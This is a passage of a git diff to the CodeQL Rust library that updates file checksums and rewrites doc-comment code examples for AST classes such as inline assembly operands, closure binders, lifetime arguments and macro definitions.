-lib/codeql/rust/elements/internal/generated/AsmOperandNamed.qll f770f2b7d9b3e7d47739143e93adc6d5ed47021196c2f367e73330c32596a628 5f9bad2770df2be9c8abb32edb4f98167c5a66493597457f7aa2de25e2b952db -lib/codeql/rust/elements/internal/generated/AsmOption.qll 6b79e9c11ba64fe0ea56c664eb0610920211a29b551e54e368d1695176567d36 e894fb327e18997ce47a70317232830cac3d92c46c07f8210ec7a2d3114c79a1 -lib/codeql/rust/elements/internal/generated/AsmOptionsList.qll 688496c33d288bf41524577f07d7f13168dd20a3c4da59f7bdaf4f4e4f022e0f e1b4249487183c3bea68d2123fd48cf39f5bba7f12de5ca7991eb81dae668e39 +lib/codeql/rust/elements/internal/generated/AsmOperandExpr.qll 6ec1db45e8523331d516263476bbda1006251ce137c2cd324d9b6c6fabf358df b6278d4e605fb5422ab1e563649da793bacf28cd587328f9cc36ca57799510d0 +lib/codeql/rust/elements/internal/generated/AsmOperandNamed.qll 61c48af0a277b011cb46ad9e9f3255ae22c943a11aafc8c591cac6444ed3e6d1 448afb29e6582339229f092ff2de6b953c09c10f2353a1f8eb54e5dfa639881f +lib/codeql/rust/elements/internal/generated/AsmOption.qll 9aa5df0f677363111b395b3fb09a0882d61c38f97ba811713490f52c851fa8db d863469f626c6e9a6a69faee4216226dd13c62fbf76ba93717d7d12fd95e0c9f +lib/codeql/rust/elements/internal/generated/AsmOptionsList.qll 998234952d4052b1864014456e6db7e775b8016b44d67608b2cbba9a730453de 8fb7cf5343fb317d8cbe6f3ebb22d80749a1131b28a89d189ecb8f99321ed5f0 lib/codeql/rust/elements/internal/generated/AsmPiece.qll 17f425727781cdda3a2ec59e20a70e7eb14c75298298e7a014316593fb18f1f9 67656da151f466288d5e7f6cd7723ccb4660df81a9414398c00f7a7c97a19163 -lib/codeql/rust/elements/internal/generated/AsmRegOperand.qll 5c5d4a117ca35b7e3407113c1ed681368c1595c621d6770dd4cc20d4c59d7f6f ccdfed9f8c71c918fe096ff36e084ddff88ca9b8e89960aaa4451475e9b35771 -lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll 1e27ea02e0ca2afed596a635c6f0d600b76397e39491c3701e021dfd9bfa9212 62632deb907df368833900c65726353bb965579adf15ce839c4731b98f38bf52 -lib/codeql/rust/elements/internal/generated/AsmSym.qll ffa99aa96c38fb4457178d9fb6f23745c11c25311d6411247085cfafbd7f2bbd c169740e5ed44ede8f0969ed090dd5a889402cb5fd96d00543696ca1e4425303 +lib/codeql/rust/elements/internal/generated/AsmRegOperand.qll e1412c7a9135669cb3e07f82dcf2bebc2ea28958d9ffb9520ae48d299344997c d81f18570703c9eb300241bd1900b7969d12d71cec0a3ce55c33f7d586600c24 +lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll 73a24744f62dd6dfa28a0978087828f009fb0619762798f5e0965003fff1e8ec fdb8fd2f89b64086a2ca873c683c02a68d088bb01007d534617d0b7f67fde2cb +lib/codeql/rust/elements/internal/generated/AsmSym.qll 476ee9ad15db015c43633072175bca3822af30c379ee10eb8ffc091c88d573f6 9f24baf36506eb959e9077dc5ba1cddbc4d93e3d8cba6e357dff5f9780d1e492 lib/codeql/rust/elements/internal/generated/AssocItem.qll fad035ba1dab733489690538fbb94ac85072b96b6c2f3e8bcd58a129b9707a26 d9988025b12b8682be83ce9df8c31ce236214683fc50facd4a658f68645248cb lib/codeql/rust/elements/internal/generated/AssocItemList.qll e016510f5f6a498b5a78b2b9419c05f870481b579438efa147303576bc89e920 89c30f3bfc1ffced07662edfb497305ee7498df1b5655739277bc1125207bea6 -lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll 71091db974304425d29b7e12cf9807c94e86450da81341cc5d6c19df6f24104b 4e7acf326a90c17584876ea867f2de6560c3e2576cab0e4a1b971071d4782c50 +lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll a93a42278263bb0c9692aca507108e25f99292aef2a9822501b31489c4ce620d afd9559e0c799988ef7ff1957a5a9ebc4fb92c6e960cbe7fecf12a0a484fef08 lib/codeql/rust/elements/internal/generated/AstNode.qll 1cbfae6a732a1de54b56669ee69d875b0e1d15e58d9aa621df9337c59db5619d 37e16a0c70ae69c5dc1b6df241b9acca96a6326d6cca15456699c44a81c93666 lib/codeql/rust/elements/internal/generated/Attr.qll 3f306e301c79f58018f1d5f39b4232760ebba7cad7208b78ffcf77e962041459 865a985c0af86b3463440975216b863256d9bf5960e664dd9c0fe2e602b4828b lib/codeql/rust/elements/internal/generated/AwaitExpr.qll 1d71af702a1f397fb231fae3e0642b3deeba0cd5a43c1d8fabdff29cac979340 e0bfa007bdecc5a09a266d449d723ae35f5a24fbdfc11e4e48aeea3ec0c5147c @@ -495,7 +495,7 @@ lib/codeql/rust/elements/internal/generated/CallExpr.qll f1b8dae487077cc9d1dccf8 lib/codeql/rust/elements/internal/generated/CallExprBase.qll cce796e36847249f416629bacf3ea146313084de3374587412e66c10d2917b83 c219aa2174321c161a4a742ca0605521687ca9a5ca32db453a5c62db6f7784cc lib/codeql/rust/elements/internal/generated/Callable.qll b0502b5263b7bcd18e740f284f992c0e600e37d68556e3e0ba54a2ac42b94934 bda3e1eea11cacf5a9b932cd72efc2de6105103e8c575880fcd0cd89daadf068 lib/codeql/rust/elements/internal/generated/CastExpr.qll ddc20054b0b339ad4d40298f3461490d25d00af87c876da5ffbc6a11c0832295 f4247307afcd74d80e926f29f8c57e78c50800984483e6b6003a44681e4a71f3 -lib/codeql/rust/elements/internal/generated/ClosureBinder.qll b153f3d394cf70757867cc5b9af292aafb93e584ce5310244c42eba2705cff79 7affd6cefcf53930683dd566efcb7f07dfbab3129889a6622b528a26459deeb6 +lib/codeql/rust/elements/internal/generated/ClosureBinder.qll ab199df96f525a083a0762fd654cd098802033c79700a593bb204a9a0c69ec01 86b33543e0886715830cfcdaca43b555a242a4f12a4caa18b88732d5afb584bd lib/codeql/rust/elements/internal/generated/ClosureExpr.qll 34149bf82f107591e65738221e1407ec1dc9cc0dfb10ae7f761116fda45162de fd2fbc9a87fc0773c940db64013cf784d5e4137515cc1020e2076da329f5a952 lib/codeql/rust/elements/internal/generated/Comment.qll cd1ef861e3803618f9f78a4ac00516d50ecfecdca1c1d14304dc5327cbe07a3b 8b67345aeb15beb5895212228761ea3496297846c93fd2127b417406ae87c201 lib/codeql/rust/elements/internal/generated/Const.qll ab494351d5807321114620194c54ebf6b5bacf322b710edf7558b3ee092967ae 057d6a13b6a479bd69a2f291a6718a97747a20f517b16060223a412bbadc6083 @@ -518,7 +518,7 @@ lib/codeql/rust/elements/internal/generated/FieldExpr.qll d6077fcc563702bb8d626d lib/codeql/rust/elements/internal/generated/FieldList.qll 35bb72a673c02afafc1f6128aeb26853d3a1cdbaea246332affa17a023ece70e b7012dd214788de9248e9ab6eea1a896329d5731fa0b39e23df1b39df2b7eb9c lib/codeql/rust/elements/internal/generated/FnPtrTypeRepr.qll f218fa57a01ecc39b58fa15893d6499c15ff8ab8fd9f4ed3078f0ca8b3f15c7e 2d1a7325cf2bd0174ce6fc15e0cbe39c7c1d8b40db5f91e5329acb339a1ad1e8 lib/codeql/rust/elements/internal/generated/ForExpr.qll 7c497d2c612fd175069037d6d7ff9339e8aec63259757bb56269e9ca8b0114ea dc48c0ad3945868d6bd5e41ca34a41f8ee74d8ba0adc62b440256f59c7f21096 -lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll 9416ef0083c1ff8bb9afcbe8d0611b4a4dd426a099ae0345bf54ae4a33f92d2b 647ee4d790b270a8b6a0ae56cd076c002e3022d3ef8b7118429089c395fefab1 +lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll a53e84660c07f3098b47e2b2e8eca58dd724895672820b67e461f8dc8e9ab4c5 56637f78cdaf9ff38d2508aa436e2bdcf5d2b4ee7e7b227e55889c6edb5186f2 lib/codeql/rust/elements/internal/generated/Format.qll 934351f8a8ffd914cc3fd88aca8e81bf646236fe34d15e0df7aeeb0b942b203f da9f146e6f52bafd67dcfd3b916692cf8f66031e0b1d5d17fc8dda5eefb99ca0 lib/codeql/rust/elements/internal/generated/FormatArgsArg.qll c762a4af8609472e285dd1b1aec8251421aec49f8d0e5ce9df2cc5e2722326f8 c8c226b94b32447634b445c62bd9af7e11b93a706f8fa35d2de4fda3ce951926 lib/codeql/rust/elements/internal/generated/FormatArgsExpr.qll 8aed8715a27d3af3de56ded4610c6792a25216b1544eb7e57c8b0b37c14bd9c1 590a2b0063d2ecd00bbbd1ce29603c8fd69972e34e6daddf309c915ce4ec1375 @@ -543,7 +543,7 @@ lib/codeql/rust/elements/internal/generated/LetElse.qll 9e6f7057b8cb7d37b0ea79d5 lib/codeql/rust/elements/internal/generated/LetExpr.qll 5983b8e1a528c9ad57932a54eb832d5bcf6307b15e1d423ffa2402e8a5d8afa4 8a6affdc42de32aa1bfc93002352227fc251540304765e53967bab6e4383f4ae lib/codeql/rust/elements/internal/generated/LetStmt.qll 21e0fadccc1e7523ef1c638fc3e2af47256791eff70d1be01a9c377659ee36ef 21ccb4821bdbde409f17ae96790e395546d6c20d2411fccf88bad6ef623a473e lib/codeql/rust/elements/internal/generated/Lifetime.qll 2f07b2467c816098158ed5c74d2123245fe901d0d1cca3ff5c18d1c58af70f4e d0ba493bc337a53fd3e7486b1b3c9d36c5a0b217d9525fc0e206733b3ed3fa74 -lib/codeql/rust/elements/internal/generated/LifetimeArg.qll 7baeff684183d0c0a3b4e7d8940cf472c9f8dabdce2cd371051a04b09e28250f f1e2b91741058bbfb587143cd12f758ee8a5f6a14a6b986421fdb32dbdba0bc8 +lib/codeql/rust/elements/internal/generated/LifetimeArg.qll 9e2378391fb130513972176ee2aa033e9fd1a55f1d4253da2d646317e33fa0fb 8168f867666e8e2bba994c7a025cd101907a4e870dc374b93ec0e55bb1bd8b4e lib/codeql/rust/elements/internal/generated/LifetimeParam.qll 62ad874c198eac8ae96bceb3b28ad500f84464f66302c05f6a53af45f0816c82 386362c79b0641061655b3030ec04f6b80a4ef508e1628eea46a8836acada943 lib/codeql/rust/elements/internal/generated/LiteralExpr.qll f3a564d0a3ed0d915f5ab48e12246777e4972ad987cd9deaafeb94cf407b2877 2337c3d5f60361bd10f6aeca301e88255f5dffb85301cf36cbbfa1a65bfad1cd lib/codeql/rust/elements/internal/generated/LiteralPat.qll f36b09cf39330019c111eeaf7255ce3240178342d0ddaace59dbfee760aa4dbb d58667cf4aa0952450957f340696cb2fd22587206986c209234162c72bdb9d9a @@ -552,17 +552,17 @@ lib/codeql/rust/elements/internal/generated/LoopExpr.qll db6bc87e795c9852426ec66 lib/codeql/rust/elements/internal/generated/LoopingExpr.qll 0792c38d84b8c68114da2bbdfef32ef803b696cb0fd06e10e101756d5c46976c 111fe961fad512722006323c3f2a075fddf59bd3eb5c7afc349835fcec8eb102 lib/codeql/rust/elements/internal/generated/MacroBlockExpr.qll 778376cdfa4caaa9df0b9c21bda5ff0f1037b730aa43efb9fb0a08998ef3999b 6df39efe7823ce590ef6f4bdfa60957ba067205a77d94ac089b2c6a7f6b7b561 lib/codeql/rust/elements/internal/generated/MacroCall.qll 743edec5fcb8f0f8aac9e4af89b53a6aa38029de23e17f20c99bee55e6c31563 4700d9d84ec87b64fe0b5d342995dbb714892d0a611802ba402340b98da17e4b -lib/codeql/rust/elements/internal/generated/MacroDef.qll 43cc960deafa316830d666b5443d7d6568b57f0aa2b9507fe417b3d0c86b0099 0a704aacfd09715dc4cb6fca1d59d9d2882cf9840bb3ab46607211e46826026e +lib/codeql/rust/elements/internal/generated/MacroDef.qll 90393408d9e10ff6167789367c30f9bfe1d3e8ac3b83871c6cb30a8ae37eef47 f022d1df45bc9546cb9fd7059f20e16a3acfaae2053bbd10075fe467c96e2379 lib/codeql/rust/elements/internal/generated/MacroExpr.qll 5a86ae36a28004ce5e7eb30addf763eef0f1c614466f4507a3935b0dab2c7ce3 11c15e8ebd36455ec9f6b7819134f6b22a15a3644678ca96b911ed0eb1181873 lib/codeql/rust/elements/internal/generated/MacroItems.qll bf10b946e9addb8dd7cef032ebc4480492ab3f9625edbabe69f41dcb81d448fe f6788fe1022e1d699056111d47e0f815eb1fa2826c3b6a6b43c0216d82d3904b -lib/codeql/rust/elements/internal/generated/MacroPat.qll 4f3d2cb19a7e0381d88bbd69a8fb39e980154cffd6d453aac02adcd5d5652fbb 47e3646c838cc0b940728d2483a243f7661884783d71bed60d8a8d3b4733302f +lib/codeql/rust/elements/internal/generated/MacroPat.qll 77af514f2e8b068f6428075bc6c759df5d52f0782f2fed90c3fa3e532871b4b6 27cda2ff01c0e7b8d27a5b3c4fc41947c3457a035833ad39e25913ba696c8ae0 lib/codeql/rust/elements/internal/generated/MacroRules.qll 29d7f9a13a8d313d7a71055b2e831b30d879bdc1baa46815117621a477551dd7 9bd09859bfbbce3220266420b6d0d2cf067b3499c04752bff9fddc367da16275 -lib/codeql/rust/elements/internal/generated/MacroTypeRepr.qll a16210c391e3112131dba71887b1f7ce64ed94c775ce28924c631c7c3597919b 05b0fff31007ce4a438eea31b47de6f3f56c6fc5dcd3076a35f7bb121cbf5353 +lib/codeql/rust/elements/internal/generated/MacroTypeRepr.qll e82e49cfcb5ee010e241b1d2ec9a13b1b741b545f392ceeab11b28d0925c7a84 cafd02b27d80fa734234341dedd63a6595b0408ec086fb3ba37a6b53fcce5b3e lib/codeql/rust/elements/internal/generated/MatchArm.qll f8c4c955c50f8398159c492d9d0a74f7b71e9510fcb8a3aab1d06e0f7e15b263 713939c7ef77ca73d95788096163c26213ab49f34ed41c6f4bc09a1ef9607b0d lib/codeql/rust/elements/internal/generated/MatchArmList.qll 12d969ecb267a749918e93beda6ad2e5e5198f1683c7611772a0734a2748b04b 9226ff7cadcab4dc69009f3deeda7320c3cee9f4c5b40d6439a2fe2a9b8e8617 lib/codeql/rust/elements/internal/generated/MatchExpr.qll b686842e7000fd61e3a0598bf245fb4e18167b99eca9162fdfdff0b0963def22 00f1743b1b0f1a92c5a687f5260fda02d80cc5871694cad0d5e7d94bac7fe977 lib/codeql/rust/elements/internal/generated/MatchGuard.qll 58fa1d6979ef22de2bd68574c7ffcf4a021d7543445f68834d879ff8cee3abcb 072f22a7929df3c0e764b2a770b4cdf03504b3053067d9b9008d6655fb5837e1 -lib/codeql/rust/elements/internal/generated/Meta.qll e7d36aeb133f07a72a7c392da419757469650641cc767c15ccf56b857ace3ee8 1bd7ad344a5e62e7166681a633c9b09dd1f6d1ed92a68a6800f7409d111c8cc4 +lib/codeql/rust/elements/internal/generated/Meta.qll 15e98e8d38f5618b7053057a629b135aae5e105fbf72731833a644fb695244c0 2977b6a0781c89383e87c595b14a39851f27b2508296f3e77466eea44c916188 lib/codeql/rust/elements/internal/generated/MethodCallExpr.qll 816267f27f990d655f1ef2304eb73a9468935ffbfddd908773a77fa3860bb970 adda2574300a169a13ea9e33af05c804bf00868d3e8930f0f78d6a8722ad688d lib/codeql/rust/elements/internal/generated/Missing.qll 16735d91df04a4e1ae52fae25db5f59a044e540755734bbab46b5fbb0fe6b0bd 28ca4e49fb7e6b4734be2f2f69e7c224c570344cc160ef80c5a5cd413e750dad lib/codeql/rust/elements/internal/generated/Module.qll ebae5d8963c9fd569c0fbad1d7770abd3fd2479437f236cbce0505ba9f9af52c fa3c382115fed18a26f1a755d8749a201b9489f82c09448a88fb8e9e1435fe5f @@ -587,13 +587,13 @@ lib/codeql/rust/elements/internal/generated/PathExpr.qll 34ebad4d062ce8b7e517f2a lib/codeql/rust/elements/internal/generated/PathExprBase.qll d8218e201b8557fa6d9ca2c30b764e5ad9a04a2e4fb695cc7219bbd7636a6ac2 4ef178426d7095a156f4f8c459b4d16f63abc64336cb50a6cf883a5f7ee09113 lib/codeql/rust/elements/internal/generated/PathPat.qll 003d10a4d18681da67c7b20fcb16b15047cf9cc4b1723e7674ef74e40589cc5a 955e66f6d317ca5562ad1b5b13e1cd230c29e2538b8e86f072795b0fdd8a1c66 lib/codeql/rust/elements/internal/generated/PathSegment.qll 48b452229b644ea323460cd44e258d3ea8482b3e8b4cb14c3b1df581da004fa8 2025badcfab385756009a499e08eecc8ffd7fa590cd2b777adb283eebcc432c6 -lib/codeql/rust/elements/internal/generated/PathTypeRepr.qll 7d870e8a4022bd94961a5d2bef94eb00ae5ec838e8493b6fa29bcd9b53e60753 ccfd5d6fb509f8e38d985c11218ac5c65f7944a38e97e8fedba4e2aa12d1eb08 +lib/codeql/rust/elements/internal/generated/PathTypeRepr.qll f12fe234d7fb1a12678b524434fcdd801453d90eb778b9173f7197ff3d957557 a1be605f8937c5bd3a3a9cb277782c24446c9f5ef8363e6f5ee8f6229886b6f6 lib/codeql/rust/elements/internal/generated/PrefixExpr.qll c9ede5f2deb7b41bc8240969e8554f645057018fe96e7e9ad9c2924c8b14722b 5ae2e3c3dc8fa73e7026ef6534185afa6b0b5051804435d8b741dd3640c864e1 lib/codeql/rust/elements/internal/generated/PtrTypeRepr.qll 8d0ea4f6c7f8203340bf4b91ecedad3ed217a65d8be48d498f2e12da7687a6d0 6f74182fd3fe8099af31b55edeaacc0c54637d0a29736f15d2cd58d11d3de260 lib/codeql/rust/elements/internal/generated/PureSynthConstructors.qll e5b8e69519012bbaae29dcb82d53f7f7ecce368c0358ec27ef6180b228a0057f e5b8e69519012bbaae29dcb82d53f7f7ecce368c0358ec27ef6180b228a0057f lib/codeql/rust/elements/internal/generated/RangeExpr.qll 23cca03bf43535f33b22a38894f70d669787be4e4f5b8fe5c8f7b964d30e9027 18624cef6c6b679eeace2a98737e472432e0ead354cca02192b4d45330f047c9 lib/codeql/rust/elements/internal/generated/RangePat.qll 80826a6a6868a803aa2372e31c52a03e1811a3f1f2abdb469f91ca0bfdd9ecb6 34ee1e208c1690cba505dff2c588837c0cd91e185e2a87d1fe673191962276a9 -lib/codeql/rust/elements/internal/generated/Raw.qll 01da6ef61912d6f4aa5c2110fa03964b17b6b67dcc37e299f6400b1096be7a4e 0ec134e0ab0e4732a971ce8f0001f06e717f25efde112034bd387a4a9ca6eb86 +lib/codeql/rust/elements/internal/generated/Raw.qll fc32eef8983cc881dd351d2ceeb37724ea413ab95cb34251e59630aaea682213 1df3d0023f23d095c0321c6c081c8f2fa8839e6d22f92aebff5db9030e84e6b2 lib/codeql/rust/elements/internal/generated/RefExpr.qll 7d995884e3dc1c25fc719f5d7253179344d63650e217e9ff6530285fe7a57f64 f2c3c12551deea4964b66553fb9b6423ee16fec53bd63db4796191aa60dc6c66 lib/codeql/rust/elements/internal/generated/RefPat.qll 456ede39837463ee22a630ec7ab6c8630d3664a8ea206fcc6e4f199e92fa564c 5622062765f32930465ba6b170e986706f159f6070f48adee3c20e24e8df4e05 lib/codeql/rust/elements/internal/generated/RefTypeRepr.qll 5b0663a6d234572fb3e467e276d019415caa95ef006438cc59b7af4e1783161e 0e27c8a8f0e323c0e4d6db01fca821bf07c0864d293cdf96fa891b10820c1e4b diff --git a/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll b/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll index 02cde40e1823..39daeb791fe6 100644 --- a/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll +++ b/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll @@ -198,7 +198,8 @@ module MakeCfgNodes Input> { * An inline assembly expression. For example: * ```rust * unsafe { - * builtin # asm(_); + * #[inline(always)] + * builtin # asm("cmp {0}, {1}", in(reg) a, in(reg) b); * } * ``` */ @@ -1939,8 +1940,14 @@ module MakeCfgNodes Input> { * * For example: * ```rust + * macro_rules! my_macro { + * () => { + * Ok(_) + * }; + * } * match x { * my_macro!() => "matched", + * // ^^^^^^^^^^^ * _ => "not matched", * } * ``` diff --git a/rust/ql/lib/codeql/rust/elements/AsmClobberAbi.qll b/rust/ql/lib/codeql/rust/elements/AsmClobberAbi.qll index a8f37c922b9f..253dcdfc9fa4 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmClobberAbi.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmClobberAbi.qll @@ -11,6 +11,7 @@ import codeql.rust.elements.AsmPiece * * For example: * ```rust + * use core::arch::asm; * asm!("", clobber_abi("C")); * // ^^^^^^^^^^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/AsmConst.qll b/rust/ql/lib/codeql/rust/elements/AsmConst.qll index fef34ac1c5b4..7c98cbf04af3 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmConst.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmConst.qll @@ -12,6 +12,7 @@ import codeql.rust.elements.Expr * * For example: * ```rust + * use core::arch::asm; * asm!("mov eax, {const}", const 42); * // ^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/AsmDirSpec.qll b/rust/ql/lib/codeql/rust/elements/AsmDirSpec.qll index 775e7581f4f9..5a5cf5f82024 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmDirSpec.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmDirSpec.qll @@ -7,12 +7,13 @@ private import internal.AsmDirSpecImpl import codeql.rust.elements.AstNode /** - * An inline assembly directive specification. + * An inline assembly direction specifier. * * For example: * ```rust - * asm!("nop"); - * // ^^^^^ + * use core::arch::asm; + * asm!("mov {input:x}, {input:x}", output = out(reg) x, input = in(reg) y); + * // ^^^ ^^ * ``` */ final class AsmDirSpec = Impl::AsmDirSpec; diff --git a/rust/ql/lib/codeql/rust/elements/AsmExpr.qll b/rust/ql/lib/codeql/rust/elements/AsmExpr.qll index aab266069ed8..06cee086b3f8 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmExpr.qll @@ -12,7 +12,8 @@ import codeql.rust.elements.Expr * An inline assembly expression. For example: * ```rust * unsafe { - * builtin # asm(_); + * #[inline(always)] + * builtin # asm("cmp {0}, {1}", in(reg) a, in(reg) b); * } * ``` */ diff --git a/rust/ql/lib/codeql/rust/elements/AsmLabel.qll b/rust/ql/lib/codeql/rust/elements/AsmLabel.qll index 2fce4ca27c2c..aab137e837d2 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmLabel.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmLabel.qll @@ -12,8 +12,12 @@ import codeql.rust.elements.BlockExpr * * For example: * ```rust - * asm!("jmp {label}", label = sym my_label); - * // ^^^^^^^^^^^^^^^^^^^^^^ + * use core::arch::asm; + * asm!( + * "jmp {}", + * label { println!("Jumped from asm!"); } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ); * ``` */ final class AsmLabel = Impl::AsmLabel; diff --git a/rust/ql/lib/codeql/rust/elements/AsmOperandExpr.qll b/rust/ql/lib/codeql/rust/elements/AsmOperandExpr.qll index a18b51590d42..e3672065adc5 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmOperandExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmOperandExpr.qll @@ -12,6 +12,7 @@ import codeql.rust.elements.Expr * * For example: * ```rust + * use core::arch::asm; * asm!("mov {0}, {1}", out(reg) x, in(reg) y); * // ^ ^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/AsmOperandNamed.qll b/rust/ql/lib/codeql/rust/elements/AsmOperandNamed.qll index 612b7139ceef..cb54a585539a 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmOperandNamed.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmOperandNamed.qll @@ -13,8 +13,9 @@ import codeql.rust.elements.Name * * For example: * ```rust - * asm!("mov {out}, {in}", out = out(reg) x, in = in(reg) y); - * // ^^^^^ ^^^^ + * use core::arch::asm; + * asm!("mov {0:x}, {input:x}", out(reg) x, input = in(reg) y); + * // ^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^ * ``` */ final class AsmOperandNamed = Impl::AsmOperandNamed; diff --git a/rust/ql/lib/codeql/rust/elements/AsmOption.qll b/rust/ql/lib/codeql/rust/elements/AsmOption.qll index 546cf793ba81..84f37b76d0c8 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmOption.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmOption.qll @@ -11,6 +11,7 @@ import codeql.rust.elements.AstNode * * For example: * ```rust + * use core::arch::asm; * asm!("", options(nostack, nomem)); * // ^^^^^^^^^^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/AsmOptionsList.qll b/rust/ql/lib/codeql/rust/elements/AsmOptionsList.qll index d79ca332c4ae..dc82f9cb4afd 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmOptionsList.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmOptionsList.qll @@ -12,6 +12,7 @@ import codeql.rust.elements.AsmPiece * * For example: * ```rust + * use core::arch::asm; * asm!("", options(nostack, nomem)); * // ^^^^^^^^^^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/AsmRegOperand.qll b/rust/ql/lib/codeql/rust/elements/AsmRegOperand.qll index 7a2bd55005f4..2f1900821f18 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmRegOperand.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmRegOperand.qll @@ -14,6 +14,7 @@ import codeql.rust.elements.AsmRegSpec * * For example: * ```rust + * use core::arch::asm; * asm!("mov {0}, {1}", out(reg) x, in(reg) y); * // ^ ^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/AsmRegSpec.qll b/rust/ql/lib/codeql/rust/elements/AsmRegSpec.qll index 33165c6c7207..91f4d5888f6b 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmRegSpec.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmRegSpec.qll @@ -12,8 +12,9 @@ import codeql.rust.elements.NameRef * * For example: * ```rust - * asm!("mov {0}, {1}", out("eax") x, in("ebx") y); - * // ^^^ ^^^ + * use core::arch::asm; + * asm!("mov {0}, {1}", out("eax") x, in(EBX) y); + * // ^^^ ^^^ * ``` */ final class AsmRegSpec = Impl::AsmRegSpec; diff --git a/rust/ql/lib/codeql/rust/elements/AsmSym.qll b/rust/ql/lib/codeql/rust/elements/AsmSym.qll index 50bf9435f1e3..359cd965c441 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmSym.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmSym.qll @@ -12,6 +12,7 @@ import codeql.rust.elements.Path * * For example: * ```rust + * use core::arch::asm; * asm!("call {sym}", sym = sym my_function); * // ^^^^^^^^^^^^^^^^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/AssocTypeArg.qll b/rust/ql/lib/codeql/rust/elements/AssocTypeArg.qll index 7397e7786564..fcf50431c268 100644 --- a/rust/ql/lib/codeql/rust/elements/AssocTypeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/AssocTypeArg.qll @@ -19,8 +19,13 @@ import codeql.rust.elements.TypeRepr * * For example: * ```rust - * ::Item - * // ^^^^ + * fn process_cloneable(iter: T) + * where + * T: Iterator + * // ^^^^^^^^^^^ + * { + * // ... + * } * ``` */ final class AssocTypeArg = Impl::AssocTypeArg; diff --git a/rust/ql/lib/codeql/rust/elements/ClosureBinder.qll b/rust/ql/lib/codeql/rust/elements/ClosureBinder.qll index 385184596927..0bf9579b2f0e 100644 --- a/rust/ql/lib/codeql/rust/elements/ClosureBinder.qll +++ b/rust/ql/lib/codeql/rust/elements/ClosureBinder.qll @@ -12,8 +12,13 @@ import codeql.rust.elements.GenericParamList * * For example: * ```rust - * for <'a> |x: &'a u32 | x - * // ^^^^^^ + * let print_any = for |x: T| { + * // ^^^^^^^^^^^^^^^^^^^^^^^ + * println!("{:?}", x); + * }; + * + * print_any(42); + * print_any("hello"); * ``` */ final class ClosureBinder = Impl::ClosureBinder; diff --git a/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll index e8097daf9499..ab0129ed0e07 100644 --- a/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll @@ -12,8 +12,13 @@ import codeql.rust.elements.TypeRepr * * For example: * ```rust - * for <'a> fn(&'a str) - * // ^^^^^ + * fn foo(value: T) + * where + * T: for<'a> Fn(&'a str) -> &'a str + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * { + * // ... + * } * ``` */ final class ForTypeRepr = Impl::ForTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/LifetimeArg.qll b/rust/ql/lib/codeql/rust/elements/LifetimeArg.qll index 8eef36323f9e..f3f3c98bed92 100644 --- a/rust/ql/lib/codeql/rust/elements/LifetimeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/LifetimeArg.qll @@ -12,8 +12,8 @@ import codeql.rust.elements.Lifetime * * For example: * ```rust - * Foo<'a> - * // ^^ + * let text: Text<'a>; + * // ^^ * ``` */ final class LifetimeArg = Impl::LifetimeArg; diff --git a/rust/ql/lib/codeql/rust/elements/MacroDef.qll b/rust/ql/lib/codeql/rust/elements/MacroDef.qll index 114daf294eb8..9bd06c4d156c 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroDef.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroDef.qll @@ -11,14 +11,12 @@ import codeql.rust.elements.TokenTree import codeql.rust.elements.Visibility /** - * A macro definition using the `macro_rules!` or similar syntax. + * A Rust 2.0 style declarative macro definition. * * For example: * ```rust - * macro_rules! my_macro { - * () => { - * println!("This is a macro!"); - * }; + * pub macro vec_of_two($element:expr) { + * vec![$element, $element] * } * ``` */ diff --git a/rust/ql/lib/codeql/rust/elements/MacroPat.qll b/rust/ql/lib/codeql/rust/elements/MacroPat.qll index 